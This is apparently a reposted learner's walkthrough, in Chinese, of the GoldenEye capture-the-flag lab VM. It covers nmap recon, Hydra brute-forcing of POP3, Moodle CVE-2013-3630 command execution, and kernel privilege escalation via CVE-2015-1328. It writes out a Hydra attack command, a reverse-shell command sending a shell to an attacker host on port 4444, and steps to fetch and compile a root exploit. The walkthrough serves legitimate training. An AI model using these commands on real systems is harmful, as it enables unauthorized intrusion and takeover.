您当前的位置:首页 >  快讯  > 正文
项目一:GoldenEye
来源:哔哩哔哩     时间:2023-06-14 01:51:49

#装载靶场虚拟机

---将网卡的模式改为VMnet8的NAT模式(虚拟机的网卡存在三种模式)


【资料图】

---桥接:相当于虚拟机和真机之间架了一座桥,虚拟机需要配置和真机在同一网段(vm0)

---NAT:虚拟系统借助 NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网(vm8)

---仅主机:虚拟机和物理机在一个封闭的内网网段中,不可以上网(vm1)

---查看IP地址(这里开了kail、Win2012、靶机)

---NAT共享的都是192.168.180.0/24网段的IP,靶机没有开机密码不能查看

---Kail使用nmap探测同网段存活主机

#namp扫描的4大基本功能

---1.主机发现 2.端口扫描 3.端口版本侦测 4.操作系统侦测 5.漏洞扫描6.防火墙探测

---1.主机发现:发送探测包到目标主机(ping),如果收到回复,那么说明目标主机是开启的(同网段才行),这里主要用 -sn进行Ping Scan,不进行端口扫描

---参考博客:https://blog.csdn.net/qq_43001579/article/details/83591539

---我这里探测到同网段存在3台主机,获取靶机IP:192.168.180.134

--- .1和.2一般是网关

----sP使用过ping扫描,然后将对ping扫描做出响应的主机,打印出来,并不做进一步测试(视频里面使用),sP和sn差不多,只是打印了MAC地址,这里没有视频的域名

---2.端口扫描(默认情况下,Nmap会扫描1000个最有可能开放的TCP端口

---端口扫描的六个状态

---常用的端口对应的服务

---端口扫描的分类,常用TCP SYN的半开放扫描

---SYN扫描的大致

---不同扫描类型的分类

---其它的一些端口扫描命令

---sS 表示使用TCP SYN方式扫描TCP端口

---sU 表示扫描UDP端口

---T4 表示时间级别配置4级;

--top-posts 200表示扫描最有可能开放的200个端口(TCP和UDP分别有200个端口

---注意:sS需要root权限,全新的kail注册root用户

---探测靶机,开放了25、80端口,但是只扫描了常见的端口(这里可以设置端口范围)

---25 端口:SMTP 服务器所开放的端口,用于发送邮件;

---可以指定端口范围,发现存在2个未知端口

---3.版本侦测

---3.1端口版本侦测(通过相应的端口对应相应的服务,根据服务指纹识别出相应的版本):

---探测靶机的端口,发现存在http协议的网站,和ssl/pop3的邮件服务

---从中间件可以看出是Ubuntu系统

---4.操作系统版本侦测

---(TCP和UDP数据包发送到目标机器上然后检查结果和数据库对照)

---常见的OS版本探测方法

---这里可以看出是Linux的3.2-4.9版本,结合中间件,可以发现发现是Ubuntu版本

---5.系统漏洞扫描(Nmap用于系统端口扫描,但nmap有一些插件,可以扫描系统漏洞)

---进入nmap的脚本目录:

---第一个Nmap插件库是vulscan:git clone https://github.com/scipag/vulscan.git

---第二个插件库为Vulners:git clone https://github.com/vulnersCom/nmap-vulners.git

---vulscan 本地存储在预配置数据库,可以ls vulscan/*.csv查看

---但是默认查询信息太多,我们一般指定vulscan/exploitdb.csv数据库

---为确保数据库完全保持最新,我们可以使用 vulscan /utilities/updater/ 目录中的 updateFiles.sh 脚本

---发现没有文件更新

---使用Nmap-Vulners 进行漏洞扫描

---注意:一定要加上-sV(但是我看不懂哪一个才是最重要的漏洞,猜测7.5是漏洞的重要性评分)

---采用vulscan扫描漏洞

---信息太多了,存在一些扰乱我们思路的漏洞信息

---指定数据库查询

---将VulScan和Vulners合并到一起进行查询

---发现不同端口存在的漏洞信息(但是这里我还是看不懂)

---6.探测防火墙

---防火墙的四种探测状态

---利用-sA探测防火墙下端口的状态(不能和-sS一起使用),这里是nmap不清楚端口状态

---通过:nmap --traceroute[ip]查看本地计算机到靶机之间经过的网络节点IP

#浏览器访问80端口网站主页,提示需要访问/sev-home/进行登陆

---查看网站主页源码,<script>标签定义客户端脚本,比如 JavaScript

---HTML是一种标记语言,没有逻辑功能,做出来的是静态的;

---JavaScript是一种脚本语言,具有逻辑功能,跟html结合可以处理一些动态的逻辑问题

---点击terminal.js进行查看

---获得用户名:Boris、Natalya;密码:

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;

---利用BrupSuite的解码功能,选择HTML对密码解码(注意不要省略最后的;)

---密码:InvincibleHack3r

---这里是将原文进行了HTML转义,例如:&#73;对应的是l

---登陆后提示存在PoP3(一般是PC机一旦邮件发送到MAC上,邮件服务器上的邮件将会被删除。但POP3邮件服务器大都可以“只下载邮件,服务器端并不删除”,也就是改进的POP3协议。收信人不需要参与到与邮件服务器之间的邮件读取过程)

---POP3协议,存在三种状态:

---当客户机与服务器建立连接,客户机向服务器发送自己身份(这里指的是账户和密码)并由服务器成功确认,即客户端由认可状态转入处理状态

---在完成列出未读邮件等相应的操作后客户端发出quit命令,退出处理状态进入更新状态

---下载未阅读过的邮件到计算机本地之后最后重返认证状态确认身份后断开与服务器的连接

---nmap普通的 -sS 的SYN扫描,不能探测端口情况

---利用-p1-65535指定端口( -p- 是扫描全部端口),-sV显示版本,-O显示操作系统

---nmap -T0 ip地址:速度最慢,准确率高

---nmap -T5 ip地址: 速度最快,准确率低(一般用快的)

---nmap -A ip地址:全面系统监测

---扫描操作系统、端口信息

---更进一步,采用启用脚本进行指定端口扫描,进行全面扫描

---从ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server可以看出,POP3开启了mail的邮件服务(为啥这么看我也不清楚)

#尝试暴力破解POP3服务的密码

---echo -e 将转义后的内容输出到屏幕上(\是换行符,所以需要-e进行转义)

---效果如下

---利用九头蛇爆破(Hydra)

---在kail中是自带字典的,可以通过/usr/share/wordlists/dirb路径进行查看,当然都是txt文件

---/usr/share/wordlists/fasttrack.txt

---九头蛇爆破(这里55006发现爆破不了,直接使用55007):

---:-L指定用户名字典为dayu.txt,-P指定密码字典,-s 指定端口,指定pop3服务

---九头蛇常用命令:

---九头蛇可以爆破:FTP、SSH、3306(MYSQL)、3389(RDP)、POP3等协议

---获取到用户名:natalya,boris

---密码:bird,secret1!

#nc(netcat)的使用

---nc(netcat):进行TCP、UDP的连接和监听,可以轻易的建立任何连接

---基于shell脚本的HTTP客户端或服务器、网络守护进程/程序测试、文件传输、反弹shell

---nc功能:1.端口扫描2.文件拷贝3.传输目录4.在线聊天5.反弹shell

---1.端口扫描:-z 表示为zero,意思是扫描时不发送任何数据包;-v 即为详细输出;-n 不使用dns反向查询ip地址域名(但是不常用)

---2.文件拷贝,假设我们需要传输一个文件test.txt,通过主机A发送到主机B

---发送端:-l 监听端口,通过-l将主机A变为服务器,并重定向netcat的输入test.txt

---当任何主机成功连接到该端口,netcat就会发送test.txt的文件内容

---接受端:连接主机A的10000端口,并将输出重定向到test.txt

---3.传输目录:传输目录和传输文件一样,只不过将目录打包为压缩文件,再使用nc将压缩文件传输过去,客户端接收后将接收到的压缩文件解压

---传输目录为test,其下有文件test.txttest2.txt由主机A传输到主机B

---发送方:-z 使用gzip指令压缩test目录;-c 创建新的压缩文件;-v 显示指令执行过程;-f 指定需要压缩的文件,即test文件夹

---接受方:-z 使用gzip压缩文件;-x 从压缩文件解压;-f 指定压缩文件

---4.在线聊天:C/S结构,服务端监听本地端口,客户端直接连接到服务器端口

----l 监听模式;-p 指定本地端口,在实际应用中可以省略

---效果如下:

---5.1反弹shell之正向反弹:靶机作为服务器,监听本地端口,客户端连接

----靶机:l 监听模式;-vv 比-v更详细的输出;-p 设置本地端口;-e 绑定命令行:弹出bash类型的shell(Linux的靶机)

---攻击机:

---5.1反弹shell之反向反弹:攻击机监听端口,靶机连接端口

---靶机:bash -i会创建一个交互式的命令行(bash);

---:&>将bash的标准输出重定向至/dev/tcp/192.168.78.128/10000这个socket连接;

---:0>&1将标准输入重定向至标准输出,最终的结果就是标准输入也被重定向到TCP连接中,因此输入和输出都可以在客户端上进行,通过TCP连接和bash进行交互(这里有点迷惑)

---攻击机:

#根据用户名和密码利用nc登陆POP3协议的邮箱

---POP3协议的相关命令

---retr1~3:查看3封邮件的内容,

---同样的登陆natalya查看邮件:

---发现一个用户名和密码,以及一个内部域名的登陆页面

---这个域名视频里Nmap可以扫描,但是我没有扫描,因此,可以在/etc/hosts目录下,修改DNS缓存,将域名和靶机的IP匹配到一起

---通过:gedit /etc/hosts,将severnaya-station.com和靶机IP关联

---为什么要关联呢?因为这里对referer进行了监测,必须通过指定域名+路径才能访问

---当然也可以用BurpSuite抓包,修改Referer进行访问,本文是修改的DNS缓存

---Kail访问,发现是MoodleCMS,可以在网上查找CMS的漏洞

---利用:xenia,RCP90ulez!进行登陆

---结合之前的信息,可以发现是:Moodle2.2.3版本的CMS

---可以通过百度、谷歌搜索Moodle2.2.3CMS的版本漏洞

---也可以通过WhatWeb进行指纹识别(应用名称(版本)、服务器软件(版本)、编程语言(版本)、应用框架(版本))

---在我的个人资料的消息中:收到了Doak博士的邮件(渗透的思想)

---查看邮件,发现一个账户:doak(很可能是黄金眼的管理员

---继续用九头蛇爆破doak的POP3邮件:

hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.180.134 -s 55007 pop3

---爆破的效果如下:用户名:doak,密码:goat

---利用nc(netcat)连接监听靶机的55007端口,枚举邮件内容

---获取用户名:dr_doak,密码:4England!

---利用dr_doak账户登陆黄金之眼,发现一个个人文件

---下载:根据文件提示路径:http://192.168.180.134/dir007key/for-007.jpg

---这里提示admin的密码在图片里面

---Kail下载图片:wget http://192.168.180.134/dir007key/for-007.jpg

#根据邮件提示,我们需要着重分析图片,以下是分析图片的工具(图片隐写读取)

binwalk(路由逆向分析工具):分离图片,看图片里面是否包含了隐藏的另类文件

exiftool(图虫):分析图片的信息,如大小、描述、修改时间等

---识别图片信息的时候,发现Base64编码:eFdpbnRlcjE5OTV4IQ==

---采用base64解密:xWinter1995x!

strings(识别动态库版本指令):将图片的信息还原成ASCII码

---计算机是以二进制存储,将英文和中文通过GBK和UTF编码成二进制(这里也显示了base64编码的信息)

---利用admin和xWinter1995x!登陆黄金之眼

---可以看看管理员界面有没有命令执行,或者可以修改网站代码的模板,进而修改代码写入一句话后门

---代理搜索谷歌关于命令执行的漏洞(百度搜索不了,这是国外的CMS)

---然后直接谷歌搜索:CVE-2013-3630

---在https://nvd.nist.gov/vuln/detail/CVE-2013-3630可以查看这个漏洞(挂代理)

---Moodle允许经过身份验证的用户通过web界面定义拼写检查设置。

---用户可以更新拼写检查机制以指向安装了二进制文件的系统。通过将拼写检查器的路径更新为任意命令,攻击者可以运行拼写检查请求时web应用程序上下文中的任意命令

---此模块还允许攻击者利用另一个权限提升漏洞。使用引用的XSS vuln,一个未经授权的身份验证用户可以窃取一个管理员sesskey并使用它将权限升级为管理员权限,从而允许模块弹出一个shell作为以前未经授权的身份验证用户。

---该模块已针对Moodle版本2.5.2和2.2.3进行了测试

#利用msf进行漏洞利用(The Metasploit Framework)

---在进入之前,可以先更新MSF的漏洞库

---msfconsole进入MSF攻击页面,版本:6.3.19

---1.Exploits:系统漏洞攻击模块,此模块对应每一个具体漏洞的攻击方法(主动,被动)

---2.Auxiliary:执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能

---3.Post:后期渗透模块,在取得目标系统远程控制权后吗,进行一系列的后渗透攻击动作,如获取敏感信息,跳板攻击等

---4.Payloads:成功exploit之后,真正在目标系统执行的代码和命令(注意和POC的区别)

---5.encoders:对payload进行加密,躲避antiviru检查的模块

---6.nops:提高payload稳定性,在构造恶意数据缓冲区时,要在真正shellcode之前添加段空指令区,这样当触发渗透攻击后跳转执行shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化,返回地址计算偏差等原因造成的shellcode执行失败

---msf的根目录是/usr/share/metasploit-framework/,默认存放模块目录如下

---Exp 和 PoC 都是可执行的漏洞利用脚本/程序 ,区别主要在于是否恶意

---exploits可以看到针对各种漏洞的分类,例如:Windows、unix、android、osx的exploit

---payloads可以看到三种payload类型

---Single (独立载荷): 类似我们常说的大马,它不依赖任何环境或组件,只要它成功上传,它就可以实现它所有的功能。

---Stagers(传输器载荷):目标计算机内存有限时,先传输一个较小的payload用于建立连接。stager有点类似我们常说的一句话,它只是用于建立连接(一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接))---Stages(传输体载荷) :利用stagers建立连接下载后续payload。stages-payload更倾向于底层系统命令,换句话说,上传大马拿到webshell仍需要进一步提权,依然是要回归底层,如果从一开始就是底层,那还需要webshell吗?Stager、Stages都有多种类型,适用于不同场景,Shellcode是payload的一种,由于其建立正向/反向shell而得名

---Single Payload 的格式为:<>/ 如:windows/powershell_bind_tcp

---Stager/Stage Payload的格式为:/ / 如:windows/meterpreter/reverse_tcp

#Stager中几种常见的payload:

---正向连接使用:攻击机在内网环境,靶机是外网环境,由于靶机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了

---缺点:靶机开了防火墙,只允许访问指定的端口,比如只开放80端口。那么,只能正向连接80端口,这里很可能失败,因为80端口上的流量太多了

---反向连接使用:主机和靶机都在外网/内网,靶机能主动连接到主机。

---即使靶机开了防火墙也没事,防火墙只阻止进入靶机的流量,而不阻止靶机向外连接流量

---反向连接80(http)和443(https)端口使用:

---靶机能主动连接到主机,但是靶机防火墙设置的特别严格,就连靶机访问外部网络的流量也进行严格的限制,只允许靶机80或443端口与外部通信

#MSF的基本架构

---Rex:实际来讲并不属于MSF,如HTTP/TELNET/SSH等连接功能严格来讲是属于操作系统自带的功能,MSF只是去以一个用户的身份去调用它而已

---ramwork-core:Core库是真正属于MSF的最底层的库,其中包含的都是MSF框架的底层功能,如数据管理,session管理,插件管理这些核心底层功能

---framewok-base:Base库是在针对Core库进行进一步人性化的拓展的库,算作一个中间层,为开发者提供API以轻松调用MSF的功能,我们使用的各种插件,console接口,还有UI界面,以及自己开发的插件,都是在base库的基础上进一步拓展的

---Plugin插件:指的是成熟的工具/软件,如各种成熟的扫描器,老牌扫描厂商的存在,已经不需要MSF再去开发新的插件啦,直接调用就好(例如调用xray)

---MSF的相关命令

---搜索exp,我这里搜索有4个漏洞,分别是:管理员命令上传、身份证拼写代码执行、路径授权远程代码执行、教师注册特权升级(视频里面是2013-10-30)

---Moodle 通过 2.5.2 允许远程身份验证,管理员通过配置 aspell 路径名,然后在 TinyMCE编辑器中触发拼写检查操作,来执行任意程序(需要管理员登陆才能促发漏洞)

---show options查看exploit需要的内容:

---密码、靶机IP或者域名、靶机端口、网站的目录、用户名

---配置exploit

---显示如下

---对方会回弹一个shell到本机,所以需要设置本机的IP和监听回弹shell的端口

---设置回弹shell的类型:基于Unix的CMD的窗口

---注意:exploit是利用漏洞的一个过程和方法,最终的目的是为了执行payload(攻击代码)

---设置如下,监听本机4444端口的cmd,

---但是发现shell反弹失败,原因是:cmd/unix/reverse的这个payload是执行的powershell的命令

---在网站的:Setting > Plugins > Text editors > TinyMCE HTML Editors中

---将's_editor_tinymce_spellengine' => 'PSpellShell',

---在exploit-db搜索到相关远程命令执行漏洞CVE-2013-3630的exp

---地址:https://www.exploit-db.com/exploits/29324

---意思是在POST的时候,需要将拼写检查检查google spell换成PSpellSHell

---原因是目标主机上不存在GCC编译,只能有CC编译,所以需要把Google Spell改成PSpellShell(编译器:将人编写的程序语言,翻译成机器执行的二进制机器语言)

---CC的全称为“C Compiler”,它是Unix系统用来编译C语言的编译器(CC只在Unix和类Unix操作系统上使用,而GCC可以在各种操作系统上使用)

---GCC全称是“Gnu Compiler Collection”,是很多编译器的集合,比如C、 C++、Objective-C、Fortran和Java编译器等。当调用gcc命令时,GCC编译器会根据扩展名自动识别并调用对应的编译器

---修改之后,再次run,发现建立了会话(但是这是不正常的交互shell,我们需要把它变成正常的交互shell),而且shell的权限也都WebShell的权限,需要进行提权

---查看是否装了Python:which python

---然后进入/tmp目录进行提权

---在网站的"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell" 也可以进行命令执行

sh -c '(sleep 3990|telnet 192.168.180.133 4444|while : ; do sh && break; done 2>&1|telnet 192.168.180.133 4444 >/dev/null 2>&1 &)'

---sh -c是Linux的命令:让 bash 将一个字串作为完整的命令来执行

---采用nc监听本地端口:-l监听端口;-v详细输出;-p指定本地端口

---利用moodle的漏洞进行,利用命令执行(当然也可以使用刚刚的WebShell)

---python -c 来执行

---将后面的代码梳理分析下

---os.dup2(fd1, fd2) :传入两个文件描述符fd1和fd2(fd1是必须存在的)

---如果fd2存在,就关闭fd2,然后将fd1代表的文件(可以想象成是P_fd1指针)强行复制给fd2

---fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件

---fileno() :返回一个整型的文件描述符(在linux中对于文件的操作根据文件描述符决定,文件描述符是一个大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stder)

---当一个程序刚启动时候,0是标准输入,1是标准输出,2是标准错误

----此时去打开一个新文件,文件描述符会是3。POSIX标准要求每次打开文件时(含socket)必须使用当前进程中最小可用的文件描述符号

---os.dup2(s.fileno(), 0) 是将 s 这个文件对象的文件描述符,复制到标准输入的文件描述符 0

---这样效果是将标准输入重定向到 s 这个文件上,之后所有的输入操作都会从 s 中读取数据

------subprocess库:允许生成新的进程,连接到它们的input/output/error 管道,并获取它们的返回(状态)码

---call():执行指定的命令,返回命令执行的状态码(命令的执行结果)

---/bash是shell的一种(/bin/sh是shell脚本的绝对路径),是linux下最常用的一种shell;传入参数“-i”,使bash以交互模式启动

---假设存在文件 test.txt,os.dup2() 将 test.txt 重定向到标准输入,然后input() 读取输入

---在Web里面修改aspellpath并且保存

---然后在:我的个人资料>博客>添加新条目里面,

---随意输入内容,然后点击"Toggle Spellchecker"之后就会反弹到shell

---监听的端口,接受到了反弹的shell,但是这是一个伪shell(不具备完全交互的shell,可能会在使用中被挂起,还可能会因操作失误如摁下 “Ctrl-C”键直接终止整个shell进程

---需要执行tty(teletypewriters),因为获得的权限无框架:TTY通常用来描述一个连接到终端设备的进程或会话。TTY 可以在本地终端、SSH 连接、串口连接等各种情况下使用,它提供了一个交互式shell 界面,让用户可以在终端上执行命令和程序,查看输出,并进行其他操作(TTY可以执行sudo命令

---利用python执行代码:python -c 'import pty; pty.spawn("/bin/bash")'

---之前MSF建立的会话,也需要使用这个代码来将伪shell转换为TTY

---除了Python的pty模块可以开启TTY,还有下面2个方法开启TTY

---1.使用socat:socat是netcat的替代工具,可以说是nc的增强版。可以使用Socat通过TCP连接传递完整的TTY

---2.魔术般的Netcat升级:

---在伪shell生成的时候,使用按Ctrl-Z键将shell调至后台运行

---检查当前终端(echo $TREM)和STTY信息(stty -a)

---所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(38行;116列)

---将当前STTY设置为raw(stty raw -echo),请确保shell仍在后台运行,下一个shell将重新打开反向shell,但格式化将关闭。最后,reset重新初始化终端

---注意:这里没有再次键入nc命令,实际上进入到了fg(前台),但这并没有被打印出来

---设置shell,终端类型、stty大小来匹配当前的Kali窗口(上面收集的信息)

$ export SHELL=bash;$ export TERM=xterm256-color;$ stty rows 38 columns 116

#内核提取

---通过uname -a查看OS版本:Linux ubuntu 3.13.0

---谷歌搜索关键词:Linux ubuntu 3.13.0 exploit

---其实主要是看:https://www.exploit-db.com/exploits/37292这个exp的国外数据库

---漏洞名称:CVE:2015-1328,exploit-db数据库编号(EDB-ID):37292

---这个脚本有个点需要注意:exploit里面是gcc编译的,而靶机没有gcc编译器

---TTY里面测试靶机是否安装gcc:gcc -v查看gcc版本,发现没有

---which cc发现靶机安装了cc编译器;which gcc没有显示gcc的安装路径

#关于CVE:2015-1328(底层溢出):

----overlayfs文件系统是叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统

---Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux在更早版本就加入该支持---Ubuntu Linux内核overlayfs文件系统中存在权限检查漏洞,普通用户可获取管理员权限

---此漏洞源于overlayfs文件系统在上层文件系统目录创建新文件时没有正确检查文件权限

---它只检查了被修改文件属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去

---如果Linux内核设置了CONFIG_USER_NS=yFS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统,本地普通用户可以利用该漏洞在感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限

#在Kail里面的漏洞库查找exp:

---“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块

---Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,在没有网络的情况下也可以使用

---注意:exploit-db数据库在/usr/share/exploitdb/exploits/目录下

---这里EDB-ID:37292的路径:/usr/share/exploitdb/exploits/linux/local/37292.c

---将exp拷贝到用户目录:cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/huangbo

---利用gedit 37292.c打开C语言文件,将gcc改为cc并保存

---在/home/huangbo目录下开启http服务器

---注意,原来Python2.7的开启服务器的命令在Python3中改为:python -m http.server 8081

---靶机下载该文件:wget http://192.168.180.13:8081/37292.c 

---将exp复制到/tmp 目录,因为提取一般在/tmp目录下

---注意:其实在wget的时候,就应该将exp下载到/tmp目录下,这里多次一举了

---利用cc编译器,将exp编译成Linux的可执行文件(如果是Windows,VC8将hello.cpp编译成hello.exe的可执行文件),-o是指定可执行文件的名称

---赋予文件可执行权限,然后执行编译后的exp,发现提到了root权限

---进入root目录下查找文件,普通的ls没有发现文件,可能存在隐藏文件

---:-a 列出目录下的一切文件,包含以 . 最初的隐含文件;-l 列出文件的具体权限信息

#知识点:

---1.nmap的功能:主机发现 、端口扫描 、端口版本侦测 、操作系统侦测 、漏洞扫描、防火墙探测

---2.HTML源码和Javascript的关系,两者均可能存在信息

---3.HTML编码和Base64编码

---4.POP3服务和SMTP邮件服务的大致内容

---5.hydr爆破各种服务的密码,以及Kail的自带字典的路径

---6.NC的用途:端口扫描、文件拷贝、传输目录、聊天、反弹正向和反向Shell、查看POP3邮件服务的内容

---7.用户名和对应密码的收集(可以做成爆破字典)

---8.浏览器访问的Referer监测和DNS缓存记录(本地/etc/hosts)的修改

---9.WhatWeb的使用(也可以通过Chrome的Wappalyzer插件信息搜集得到CMS版本)

---10、图片的隐写的识别:binwalk(路由逆向分析工具,查看是否隐藏文件)、exiftool(图虫,查看文件的详细信息)、strings(识别动态库版本指令,将图片还原成GBK编码)

---11.MoodleCMS的大致情况,2个远程命令执行的漏洞(Google搜索CMS的漏洞),分别是 CVE-2013-3630 漏洞可利用,29324和命令执行

---12.MSF的基本使用,六大基本模块:exploits、payload、auxiliary、encoders、nops

---13.exploits、payload以及和POC之间的关系

---14.三种类型的payload:singles(独立载荷)、stagers(传输器载荷)、stage(传输体载荷)

---15.GCC编译器和CC编译器的区别

---16.反弹shell的原理,Python反弹shell的原理

---17.伪Shell转变TTY的方式:Python的pty库、socat(netcat的提升版)、TREM和stty修改

---18.exploit-db数据库的网页使用、Kail使用、

---19.CVE:2015-1328,exploit-db数据库编号(EDB-ID):37292的大致原因

---20.python3开启简易Http服务传输文件

---21、隐藏文件的查看

#任然存在疑惑的点:

---1.POP3协议和SMTP协议的原理没有理解

---2.MoodleCMS的两个漏洞:1.为什么要修改PSpellShell才行2.为什么修改在"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell" 就能促发进行命令执行(这两个问题都是对于MoodleCMS的漏洞不熟悉)

---3.MSF中的Payload的设置,为啥要设置成set payload cmd/unix/reverse这样

标签:

相关新闻
精彩推荐